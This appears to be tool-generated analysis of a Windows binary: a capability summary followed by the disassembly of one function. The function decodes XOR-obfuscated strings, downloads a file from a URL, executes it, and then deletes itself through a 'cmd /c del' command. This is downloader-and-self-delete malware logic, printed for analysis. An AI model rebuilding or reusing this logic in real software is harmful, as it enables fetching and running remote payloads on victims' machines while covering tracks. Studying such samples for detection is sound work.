Function at 0x140001280
Capabilities:
Create process on windows
Download url
Encode data using xor
Get comspec environment variable
Query environment variable
Receive data
Self delete

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3d0]
sub rsp, 0x4d0
mov rax, qword [0x140070080]
xor rax, rsp
mov qword [rbp + 0x3c0], rax
xor ebx, ebx
mov byte [rsp + 0x50], reloc.WLDAP32.dll_Ordinal_41
mov al, 0x64
mov cl, 0x5b
mov dl, reloc.WS2_32.dll_WSAGetLastError
mov r8b, 0x45
mov r9b, 0x46
xor al, 0x29
mov byte [rsp + 0x51], al
xor cl, 0x29
mov byte [rsp + 0x52], cl
xor dl, 0x29
mov byte [rsp + 0x53], dl
xor r8b, 0x29
mov byte [rsp + 0x54], r8b
xor r9b, 0x29
mov byte [rsp + 0x55], r9b
mov byte [rsp + 0x56], bl
xorps xmm0, xmm0
movups xmmword [rbp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x80], xmm1
lea rax, [rsp + 0x51]
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rax + r8], bl
jne 0x140001316
lea rdx, [rsp + 0x51]
lea rcx, [rbp + 0x70]
call fcn.140006140
nop
movdqa xmm0, xmmword [0x140067a50]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm1, xmmword [0x140067a90]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm0, xmmword [0x140067ab0]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x140067ad0]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm0, xmmword [0x140067a80]
movdqa xmmword [rbp - 0x20], xmm0
xor eax, eax
mov byte [rbp - 0x10], al
mov rcx, rbx
nop word [rax + rax]
movzx eax, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x5f], al
inc rcx
cmp rcx, 0x4f
jb 0x140001380
mov byte [rbp - 0x10], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x68], rbx
lea rax, [rbp - 0x5f]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400013b0
lea rdx, [rbp - 0x5f]
lea rcx, [rbp + 0x50]
call fcn.140006140
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], rbx
xor r8d, r8d
lea rdx, [0x140066fd0]
lea rcx, [rbp - 0x80]
call fcn.140006140
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbx
mov r8d, 1
lea rdx, [0x140067060]
lea rcx, [rsp + 0x60]
call fcn.140006140
nop
lea r14, [rsp + 0x60]
mov r13, qword [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova r14, r13
lea rax, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova rax, qword [rbp + 0x50]
mov qword [rsp + 0x50], rax
mov rdi, qword [rsp + 0x70]
mov rcx, qword [rbp + 0x60]
cmp rdi, rcx
ja 0x1400014e4
sub rcx, rdi
test rdi, rdi
je 0x1400014bc
lea r15, [rcx + rax]
movsx r12d, byte [r14]
lea r8, [r15 + 1]
sub r8, rax
mov edx, r12d
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x1400014e2
nop dword [rax + rax]
mov r8, rdi
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400014b1
inc rbx
lea r8, [r15 + 1]
sub r8, rbx
mov edx, r12d
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x140001480
jmp 0x1400014e2
sub rbx, qword [rsp + 0x50]
cmp rbx, 0xffffffffffffffff
je 0x1400014e2
lea r9, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova r9, qword [rbp - 0x80]
mov rax, qword [rbp - 0x70]
mov qword [rsp + 0x20], rax
mov r8, rdi
mov rdx, rbx
lea rcx, [rbp + 0x50]
call fcn.1400058f0
xor ebx, ebx
mov rax, qword [rsp + 0x78]
cmp rax, 0xf
jbe 0x140001524
lea rdx, [rax + 1]
mov rax, r13
cmp rdx, 0x1000
jb 0x14000151b
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000151b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r13
call fcn.14005751c
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14000155f
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000155a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c4f
call fcn.14005751c
mov byte [rsp + 0x50], 0x5a
mov al, 8
mov cl, 0x3f
mov dl, Ordinal_45
mov r8b, 0x33
mov r9b, 0x35
mov r10b, 0x34
xor r11d, r11d
xor al, 0x5a
mov byte [rsp + 0x51], al
xor cl, 0x5a
mov byte [rsp + 0x52], cl
xor dl, 0x5a
mov byte [rsp + 0x53], dl
xor r8b, 0x5a
mov byte [rsp + 0x54], r8b
xor r9b, 0x5a
mov byte [rsp + 0x55], r9b
xor r10b, 0x5a
mov byte [rsp + 0x56], r10b
mov byte [rsp + 0x57], r11b
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rbx
mov qword [rbp + 0x28], rbx
lea rax, [rsp + 0x51]
mov r8, rsi
inc r8
cmp byte [rax + r8], r11b
jne 0x1400015c1
lea rdx, [rsp + 0x51]
lea rcx, [rbp + 0x10]
call fcn.140006140
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], rbx
xor r8d, r8d
lea rdx, [0x140066fd0]
lea rcx, [rbp - 0x80]
call fcn.140006140
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbx
mov r8d, 1
lea rdx, [0x140067060]
lea rcx, [rsp + 0x60]
call fcn.140006140
nop
lea r14, [rsp + 0x60]
mov r13, qword [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova r14, r13
lea rax, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rax, qword [rbp + 0x10]
mov qword [rsp + 0x50], rax
mov rdi, qword [rsp + 0x70]
mov rcx, qword [rbp + 0x20]
cmp rdi, rcx
ja 0x1400016f3
sub rcx, rdi
test rdi, rdi
je 0x1400016cc
lea r15, [rax + rcx]
movsx r12d, byte [r14]
lea r8, [r15 + 1]
sub r8, rax
mov edx, r12d
mov rcx, rax
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x1400016f3
nop dword [rax]
mov r8, rdi
mov rdx, r14
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400016c1
inc rbx
lea r8, [r15 + 1]
sub r8, rbx
mov edx, r12d
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x140001690
jmp 0x1400016f3
sub rbx, qword [rsp + 0x50]
cmp rbx, 0xffffffffffffffff
je 0x1400016f3
lea r9, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova r9, qword [rbp - 0x80]
mov rax, qword [rbp - 0x70]
mov qword [rsp + 0x20], rax
mov r8, rdi
mov rdx, rbx
lea rcx, [rbp + 0x10]
call fcn.1400058f0
nop
mov rax, qword [rsp + 0x78]
cmp rax, 0xf
jbe 0x140001733
lea rdx, [rax + 1]
mov rax, r13
cmp rdx, 0x1000
jb 0x14000172a
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000172a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r13
call fcn.14005751c
nop
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14000176e
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001769
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001c00
call fcn.14005751c
movdqa xmm1, xmmword [0x140067ac0]
movdqu xmmword [rbp - 0x80], xmm1
mov dl, 0x26
mov r8b, reloc.WS2_32.dll_socket
mov r9b, Ordinal_33
mov r10b, 2
mov r11b, reloc.WLDAP32.dll_Ordinal_46
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rbp - 0x7f], al
xor byte [rbp - 0x7e], cl
xor byte [rbp - 0x7d], cl
xor byte [rbp - 0x7c], cl
xor byte [rbp - 0x7b], cl
xor byte [rbp - 0x7a], cl
xor byte [rbp - 0x79], cl
xor byte [rbp - 0x78], cl
xor byte [rbp - 0x77], cl
xor byte [rbp - 0x76], cl
xor byte [rbp - 0x75], cl
xor byte [rbp - 0x74], cl
xor byte [rbp - 0x73], cl
xor byte [rbp - 0x72], cl
xor byte [rbp - 0x71], cl
xor dl, cl
mov byte [rbp - 0x70], dl
xor r8b, cl
mov byte [rbp - 0x6f], r8b
xor r9b, cl
mov byte [rbp - 0x6e], r9b
xor r10b, cl
mov byte [rbp - 0x6d], r10b
xor r11b, cl
mov byte [rbp - 0x6c], r11b
mov byte [rbp - 0x6b], 0
mov byte [rsp + 0x50], 0x43
xor al, al
mov cl, 0x79
mov dl, Ordinal_32
mov r8b, reloc.WLDAP32.dll_Ordinal_22
mov r9b, Ordinal_50
mov r10b, 0x26
mov r11b, Ordinal_50
movzx ebx, r9b
movzx edi, dl
xor r14d, r14d
xor al, 0x43
mov byte [rsp + 0x51], al
xor cl, 0x43
mov byte [rsp + 0x52], cl
xor dl, 0x43
mov byte [rsp + 0x53], dl
xor r8b, 0x43
mov byte [rsp + 0x54], r8b
xor r9b, 0x43
mov byte [rsp + 0x55], r9b
xor r10b, 0x43
mov byte [rsp + 0x56], r10b
xor r11b, 0x43
mov byte [rsp + 0x57], r11b
xor bl, 0x43
mov byte [rsp + 0x58], bl
xor dil, 0x43
mov byte [rsp + 0x59], dil
mov byte [rsp + 0x5a], r14b
lea r8, [rbp + 0x70]
lea rdx, [rsp + 0x51]
lea rcx, [rbp - 0x60]
call fcn.140005ae0
nop
lea rcx, [rbp - 0x7f]
inc rsi
cmp byte [rcx + rsi], 0
jne 0x140001873
mov r8, rsi
lea rdx, [rbp - 0x7f]
mov rcx, rax
call fcn.140005460
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], bl
lea rdx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0xf
cmova rdx, qword [rbp + 0x10]
mov r8, qword [rbp + 0x20]
lea rcx, [rsp + 0x60]
call fcn.140005460
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x40], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], bl
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140001945
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001940
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001940
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005751c
movdqa xmm0, xmmword [0x140067a10]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140001996
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001991
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001991
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005751c
lea r8, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova r8, qword [rbp + 0x30]
lea rdx, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova rdx, qword [rbp + 0x50]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rcx, qword [rbp + 0x30]
lea rdx, [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__stat64i32]
test eax, eax
jne 0x140001bce
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rcx, qword [rbp + 0x30]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
mov dword [rbp + 4], eax
mov dword [rbp - 0x60], 0x68
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, 0x104
lea rdx, [rbp + 0x90]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140001bce
mov r8d, 0x104
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x140001bce
mov r8d, 0x104
lea rdx, [rbp + 0x2b0]
lea rcx, str.COMSPEC
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x140001bce
lea rdx, str._c_del
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.___nul
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [rbp - 0x60], reloc.WS2_32.dll_WSASetLastError
mov qword [rbp - 0x58], rbx
lea rax, str.Open
mov qword [rbp - 0x50], rax
lea rax, [rbp + 0x2b0]
mov qword [rbp - 0x48], rax
lea rax, [rbp + 0x1a0]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rbx
mov dword [rbp - 0x30], ebx
mov dword [rbp - 0x5c], 0x40
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0x100
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, reloc.WS2_32.dll_ntohs
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea rcx, [rbp - 0x60]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x140001ba9
mov edx, 0x40
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov edx, 1
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
xor r9d, r9d
lea r8, [rbp + 0x90]
lea edx, [r9 + 1]
lea ecx, [rdx + 3]
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
jmp 0x140001bce
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, reloc.WLDAP32.dll_Ordinal_32
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x140001c0c
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c07
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c07
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005751c
movdqa xmm0, xmmword [0x140067a10]
movdqu xmmword [rbp + 0x40], xmm0
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x140001c5b
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c56
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c56
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005751c
mov qword [rbp + 0x20], rbx
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x140001ca9
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ca4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ca4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005751c
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x68], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x50], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x140001cfa
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001cf5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001cf5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14005751c
mov rcx, qword [rbp + 0x3c0]
xor rcx, rsp
call fcn.1400574c0
lea r11, [rsp + 0x4d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret